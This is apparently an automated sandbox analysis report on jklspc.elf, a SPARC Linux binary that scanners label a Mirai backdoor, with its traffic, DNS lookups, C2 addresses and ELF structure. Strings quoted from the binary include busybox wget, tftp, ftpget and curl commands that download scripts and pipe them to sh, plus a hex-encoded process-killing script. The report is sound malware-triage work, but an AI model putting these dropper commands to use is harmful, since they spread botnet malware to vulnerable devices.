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Linux Analysis Report
jklspc.elf

Overview

General Information

Sample name:	jklspc.elf
Analysis ID:	1580210
MD5:	5faff2067b3917db0c1eef850182b001
SHA1:	857341a595aab7d2a2039fd8fd44088e95c0fedf
SHA256:	f8bdcb6d66eb72348d9ae40f9217a8586766bda6f5bbb83dfd12603531be9863
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580210
Start date and time:	2024-12-24 04:23:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	jklspc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/113@12/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/jklspc.elf
PID:	5808
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

jklspc.elf (PID: 5808, Parent: 5734, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/jklspc.elf

jklspc.elf New Fork (PID: 5810, Parent: 5808)

jklspc.elf New Fork (PID: 5812, Parent: 5810)

jklspc.elf New Fork (PID: 5813, Parent: 5810)

jklspc.elf New Fork (PID: 5814, Parent: 5810)

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: jklspc.elf	Virustotal: Detection: 43%			Perma Link
Source: jklspc.elf	ReversingLabs: Detection: 42%

Source: global traffic	TCP traffic: 192.168.2.15:35542 -> 154.216.16.250:38241
Source: global traffic	TCP traffic: 192.168.2.15:44520 -> 154.216.16.244:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 146.54.154.30
Source: unknown	TCP traffic detected without corresponding DNS query: 151.78.211.176
Source: unknown	TCP traffic detected without corresponding DNS query: 215.105.213.239
Source: unknown	TCP traffic detected without corresponding DNS query: 216.238.203.55
Source: unknown	TCP traffic detected without corresponding DNS query: 45.246.245.216
Source: unknown	TCP traffic detected without corresponding DNS query: 208.116.186.182
Source: unknown	TCP traffic detected without corresponding DNS query: 111.66.159.155
Source: unknown	TCP traffic detected without corresponding DNS query: 58.104.154.187
Source: unknown	TCP traffic detected without corresponding DNS query: 89.226.159.86
Source: unknown	TCP traffic detected without corresponding DNS query: 169.21.29.172
Source: unknown	TCP traffic detected without corresponding DNS query: 150.184.81.23
Source: unknown	TCP traffic detected without corresponding DNS query: 211.163.241.132
Source: unknown	TCP traffic detected without corresponding DNS query: 88.145.161.72
Source: unknown	TCP traffic detected without corresponding DNS query: 51.212.106.184
Source: unknown	TCP traffic detected without corresponding DNS query: 43.112.194.39
Source: unknown	TCP traffic detected without corresponding DNS query: 89.86.3.74
Source: unknown	TCP traffic detected without corresponding DNS query: 94.93.124.42
Source: unknown	TCP traffic detected without corresponding DNS query: 86.50.254.203
Source: unknown	TCP traffic detected without corresponding DNS query: 131.208.227.84
Source: unknown	TCP traffic detected without corresponding DNS query: 131.36.231.235
Source: unknown	TCP traffic detected without corresponding DNS query: 186.144.223.85
Source: unknown	TCP traffic detected without corresponding DNS query: 162.196.158.46
Source: unknown	TCP traffic detected without corresponding DNS query: 123.197.133.114
Source: unknown	TCP traffic detected without corresponding DNS query: 132.198.49.160
Source: unknown	TCP traffic detected without corresponding DNS query: 71.254.6.175
Source: unknown	TCP traffic detected without corresponding DNS query: 212.53.33.198
Source: unknown	TCP traffic detected without corresponding DNS query: 71.251.44.127
Source: unknown	TCP traffic detected without corresponding DNS query: 31.136.134.240
Source: unknown	TCP traffic detected without corresponding DNS query: 138.97.59.108
Source: unknown	TCP traffic detected without corresponding DNS query: 41.238.125.80
Source: unknown	TCP traffic detected without corresponding DNS query: 146.54.154.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.190.74.91
Source: unknown	TCP traffic detected without corresponding DNS query: 159.163.206.122
Source: unknown	TCP traffic detected without corresponding DNS query: 139.235.160.241
Source: unknown	TCP traffic detected without corresponding DNS query: 223.73.109.161
Source: unknown	TCP traffic detected without corresponding DNS query: 205.159.247.115
Source: unknown	TCP traffic detected without corresponding DNS query: 25.65.192.177
Source: unknown	TCP traffic detected without corresponding DNS query: 151.78.211.176
Source: unknown	TCP traffic detected without corresponding DNS query: 46.196.163.167
Source: unknown	TCP traffic detected without corresponding DNS query: 215.105.213.239
Source: unknown	TCP traffic detected without corresponding DNS query: 133.191.72.249
Source: unknown	TCP traffic detected without corresponding DNS query: 216.238.203.55
Source: unknown	TCP traffic detected without corresponding DNS query: 207.101.224.23
Source: unknown	TCP traffic detected without corresponding DNS query: 45.246.245.216
Source: unknown	TCP traffic detected without corresponding DNS query: 221.122.136.183
Source: unknown	TCP traffic detected without corresponding DNS query: 66.161.57.11
Source: unknown	TCP traffic detected without corresponding DNS query: 4.41.72.80
Source: unknown	TCP traffic detected without corresponding DNS query: 208.116.186.182
Source: unknown	TCP traffic detected without corresponding DNS query: 19.43.29.243
Source: unknown	TCP traffic detected without corresponding DNS query: 18.94.139.118

Source: global traffic	DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic	DNS traffic detected: DNS query: serisbot.geek. [malformed]

Source: jklspc.elf	String found in binary or memory: http:///curl.sh
Source: jklspc.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x2

Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5840/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5840/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5838/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5838/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5839/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5839/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5818/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5818/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5830/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5830/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5841/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5841/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5831/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5831/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5842/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5842/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5832/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5832/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5843/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5843/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5833/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5833/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5844/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5844/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5834/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5834/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5845/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5845/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5845/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5845/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5835/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5835/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5846/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5846/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5846/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5846/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5836/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5836/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5847/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5847/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5847/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5847/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5837/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5837/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5848/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5848/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5848/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5813)	File opened: /proc/5848/cmdline	Jump to behavior

Source: jklspc.elf, 5808.1.000055c15b623000.000055c15b6a8000.rw-.sdmp, jklspc.elf, 5812.1.000055c15b623000.000055c15b6a8000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: jklspc.elf, 5808.1.000055c15b623000.000055c15b6a8000.rw-.sdmp, jklspc.elf, 5812.1.000055c15b623000.000055c15b6a8000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: jklspc.elf, 5808.1.00007ffc9f063000.00007ffc9f084000.rw-.sdmp, jklspc.elf, 5812.1.00007ffc9f063000.00007ffc9f084000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/jklspc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jklspc.elf
Source: jklspc.elf, 5808.1.00007ffc9f063000.00007ffc9f084000.rw-.sdmp, jklspc.elf, 5812.1.00007ffc9f063000.00007ffc9f084000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
jklspc.elf	44%	Virustotal		Browse
jklspc.elf	42%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
serisontop.dyn	154.216.16.244	true	false		high
serisbot.geek. [malformed]	unknown	unknown	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
99.17.215.228	unknown	United States	7018	ATT-INTERNET4US	false
60.50.250.6	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
70.165.89.69	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
59.81.176.106	unknown	China	134542	UNICOM-GUIANChinaUnicomIPnetworkCN	false
42.210.249.136	unknown	China	4249	LILLY-ASUS	false
134.143.169.246	unknown	Netherlands	32432	COFANUS	false
96.194.58.195	unknown	United States	7922	COMCAST-7922US	false
190.181.118.17	unknown	Argentina	52251	NORTECHAR	false
192.47.33.162	unknown	Japan	5501	FRAUNHOFER-CLUSTER-BWResearchInstitutesspreadalloverGe	false
64.86.213.123	unknown	United States	6453	AS6453US	false
83.229.251.147	unknown	Russian Federation	6854	SYNTERRA-ASRU	false
50.99.243.16	unknown	Canada	852	ASN852CA	false
93.224.255.16	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
133.198.46.100	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
174.32.142.123	unknown	United States	6621	HNS-DIRECPCUS	false
111.135.108.222	unknown	China	24138	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
176.224.224.190	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
173.139.22.44	unknown	United States	10507	SPCSUS	false
21.61.44.126	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
70.165.89.56	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
13.26.67.109	unknown	United States	26662	XEROX-WVUS	false
26.90.182.40	unknown	United States	7922	COMCAST-7922US	false
117.90.160.165	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
170.216.128.186	unknown	United States	8103	STATE-OF-FLAUS	false
168.182.95.189	unknown	United States	18522	YUMBRANDSUS	false
66.111.87.168	unknown	Canada	13768	COGECO-PEER1CA	false
154.171.251.112	unknown	Ghana	30986	SCANCOMGH	false
144.140.78.245	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
9.163.192.185	unknown	United States	3356	LEVEL3US	false
157.162.143.55	unknown	Germany	22192	SSHENETUS	false
142.204.125.183	unknown	Canada	10265	SENECACOLLEGE-ASCA	false
166.173.75.121	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
211.213.138.35	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
87.143.114.192	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
3.110.151.242	unknown	United States	16509	AMAZON-02US	false
197.80.221.25	unknown	South Africa	10474	OPTINETZA	false
159.11.78.223	unknown	United States	16983	AS16983US	false
186.23.244.67	unknown	Argentina	27747	TelecentroSAAR	false
121.168.145.111	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
102.8.168.193	unknown	unknown	37069	MOBINILEG	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
133.198.46.100	na.elf	Get hash	malicious	Mirai	Browse
96.194.58.195	0Ox8zezLAz.elf	Get hash	malicious	Mirai	Browse
111.135.108.222	main_arm.elf	Get hash	malicious	Mirai	Browse
99.17.215.228	6mu5y2WWPK.elf	Get hash	malicious	Mirai	Browse
190.181.118.17	SecuriteInfo.com.Linux.Siggen.9999.20300.18980.elf	Get hash	malicious	Mirai	Browse
190.181.118.17	3EEE29GVw0	Get hash	malicious	Mirai	Browse
176.224.224.190	sora.arm7	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
serisontop.dyn	nabspc.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	splarm.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nabm68k.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	jklm68k.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	nabarm.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nklarm.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	splspc.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	zerppc.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nklspc.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	ppc.elf	Get hash	malicious	Unknown	Browse	154.216.16.250

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	jklspc.elf	false		high
http:///curl.sh	jklspc.elf	false		high

Process:	/tmp/jklspc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.1544857450967174
Encrypted:	false
SSDEEP:	6:M3gDFfX6/VUV4DFuG3j/VyY/VfKoO/VNfiY/VH:M3YlrVwUwwl
MD5:	B90C10286516AF2A9A88B7C91126CB57
SHA1:	D2E11713557C4F760DFD011C62951E1857BE8CCF
SHA-256:	F1878E7C50D8681065DCC021459BDB2D7874BDFC9AE9C98F885774A294568317
SHA-512:	E9C32A64FB13E590F516EF190A2B36C0752D73F55D7BB709F031F726E91D4043D75974FC232074E9B722EEA6CB70F5079D84187B97CE92D98454AD3A7A0B0AB1
Malicious:	false
Reputation:	low
Preview:	10000-20000 r-xp 00000000 fd:00 531606 /tmp/..20000-21000 rw-p 00010000 fd:00 531606 /tmp/..21000-23000 rw-p 00000000 00:00 0 .23000-24000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.000851098500436
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	jklspc.elf
File size:	66'440 bytes
MD5:	5faff2067b3917db0c1eef850182b001
SHA1:	857341a595aab7d2a2039fd8fd44088e95c0fedf
SHA256:	f8bdcb6d66eb72348d9ae40f9217a8586766bda6f5bbb83dfd12603531be9863
SHA512:	5fa982c1a6f3edf3a1192c494ab3aba224900ed1d58084aca97aa5540235283248d29ad5e5010dca86a1b47e110ce08419e8a9977e236d8ff0c8c6116a5a68de
SSDEEP:	1536:UObASwoGI6DBIwRpU+iZeHGi3HX8ahozaFmL8zH7LhP:UAVZgJWunJhYsmAzHd
TLSH:	2C536B207A396E1BC4C4A87B21F74735B2B2270975E8C66E7D720E8EFF1064466076F5
File Content Preview:	.ELF...........................4.........4. ...(...........................................................0........dt.Q................................@..(....@.:H................#.....a...`.....!..... ...@.....".........`......$ ... ...@...........`....

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	66000
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0xe958	0x0	0x6	AX	4
.fini	PROGBITS	0x1ea08	0xea08	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1ea20	0xea20	0xf88	0x0	0x2	A	8
.ctors	PROGBITS	0x20000	0x10000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x20008	0x10008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x20010	0x10010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x20018	0x10018	0x174	0x0	0x3	WA	8
.bss	NOBITS	0x20190	0x1018c	0x11a0	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x1018c	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0xf9a8	0xf9a8	6.1203	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x10000	0x20000	0x20000	0x18c	0x1330	0.8110	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 04:24:22.742366076 CET	192.168.2.15	194.36.144.87	0x1448	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:24:33.561161995 CET	192.168.2.15	51.158.108.203	0x6e38	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:24:45.041235924 CET	192.168.2.15	81.169.136.222	0xc8c3	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:24:56.507558107 CET	192.168.2.15	194.36.144.87	0x38f0	Standard query (0)	serisbot.geek. [malformed]	256	392	false
Dec 24, 2024 04:25:07.986388922 CET	192.168.2.15	194.36.144.87	0x289d	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:25:19.461499929 CET	192.168.2.15	51.158.108.203	0xb36a	Standard query (0)	serisbot.geek. [malformed]	256	415	false
Dec 24, 2024 04:25:30.928212881 CET	192.168.2.15	81.169.136.222	0xa45e	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:25:41.720146894 CET	192.168.2.15	152.53.15.127	0x4d2a	Standard query (0)	serisbot.geek. [malformed]	256	437	false
Dec 24, 2024 04:25:53.197350979 CET	192.168.2.15	185.181.61.24	0x2eca	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:04.694992065 CET	192.168.2.15	194.36.144.87	0x46b7	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:16.172840118 CET	192.168.2.15	51.158.108.203	0x70ae	Standard query (0)	serisbot.geek. [malformed]	256	472	false
Dec 24, 2024 04:26:27.640752077 CET	192.168.2.15	152.53.15.127	0xbbe3	Standard query (0)	serisbot.geek. [malformed]	256	483	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 04:24:22.990458012 CET	194.36.144.87	192.168.2.15	0x1448	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:24:22.990458012 CET	194.36.144.87	192.168.2.15	0x1448	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:24:22.990458012 CET	194.36.144.87	192.168.2.15	0x1448	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:24:33.812266111 CET	51.158.108.203	192.168.2.15	0x6e38	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:24:33.812266111 CET	51.158.108.203	192.168.2.15	0x6e38	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:24:33.812266111 CET	51.158.108.203	192.168.2.15	0x6e38	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:24:45.279153109 CET	81.169.136.222	192.168.2.15	0xc8c3	Refused (5)	serisontop.dyn	none	none	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:24:56.757800102 CET	194.36.144.87	192.168.2.15	0x38f0	Format error (1)	serisbot.geek. [malformed]	none	none	256	392	false
Dec 24, 2024 04:25:08.235174894 CET	194.36.144.87	192.168.2.15	0x289d	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:25:08.235174894 CET	194.36.144.87	192.168.2.15	0x289d	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:25:08.235174894 CET	194.36.144.87	192.168.2.15	0x289d	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:25:19.700226068 CET	51.158.108.203	192.168.2.15	0xb36a	Format error (1)	serisbot.geek. [malformed]	none	none	256	415	false
Dec 24, 2024 04:25:31.166476965 CET	81.169.136.222	192.168.2.15	0xa45e	Refused (5)	serisontop.dyn	none	none	A (IP address)	IN (0x0001)	false
